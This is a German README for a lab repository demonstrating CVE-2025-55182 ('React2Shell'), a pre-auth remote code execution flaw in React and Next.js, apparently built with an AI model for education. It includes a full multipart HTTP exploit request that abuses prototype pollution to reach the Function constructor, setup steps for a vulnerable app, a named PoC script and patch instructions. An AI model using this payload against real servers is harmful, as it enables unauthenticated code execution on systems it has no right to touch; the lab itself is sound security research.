
Wir haben ein Beispiel für die Schwachstelle CVE-2025-55182 zusammen mit KI erstellt und getestet.
Verwendete KI: Claude Opus 4.5 ⚠️ Warnung: Diese Umgebung ist nur für Bildungs- und Forschungszwecke bestimmt.
| Punkt | Inhalt |
|---|---|
| CVE | CVE-2025-55182 (React) / CVE-2025-66478 (Next.js) |
| Name | React2Shell |
| CVSS | 10.0 (Critical) |
| Typ | Pre-Auth Remote Code Execution |
| Ursache | Prototypverschmutzung bei der Deserialisierung des Flight-Protokolls |
┌─────────────────────────┐
│ Angreifer │
└───────────┬─────────────┘
│
POST-Anfrage + Next-Action-Header
multipart/form-data Payload
│
▼
┌───────────────────────────────────────────────────────────┐
│ Next.js-Server │
├───────────────────────────────────────────────────────────┤
│ 1. Next-Action-Header → Server Action auslösen │
│ 2. multipart-Payload → Flight-Protokoll deserialisieren │
│ 3. then()-Methode des Fake-Chunk-Objekts aufrufen │
│ 4. __proto__-Referenz → Prototypverschmutzung │
│ 5. Function-Konstruktor injizieren → RCE │
└───────────────────────────────────────────────────────────┘
POST / HTTP/1.1
Next-Action: x
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="0"
{"_response":{"_formData":{"get":"Function"}},"then":"$1:__proto__:then"}
------Boundary
Content-Disposition: form-data; name="1"
$@0
------Boundary--
Kernelemente:
Next-Action-Header zum Auslösen einer Server Actionthen-Methode für Promise-ähnliches Verhalten$@0-Referenz zur Traversierung der PrototypketteFunction-Konstruktor über __proto__:thencd vulnerable-app
# Abhängigkeiten installieren
npm install
# Entwicklungsserver starten
npm run dev
Unter http://localhost:3000 erreichbar
react-rce/
├── README.md
├── vulnerable-app/ # Verwundbare Next.js-App
│ ├── package.json # Next.js 15.0.3 (verwundbare Version)
│ └── app/
│ ├── page.js # UI (CVE-Info + RCE-Demo)
│ ├── actions.js # Server Actions
│ └── globals.css
└── exploit/ # Angriffswerkzeuge (optional)
└── exploit.py # CVE-2025-55182 PoC
# Upgrade auf Patch-Versionen
npm install [email protected] [email protected] [email protected]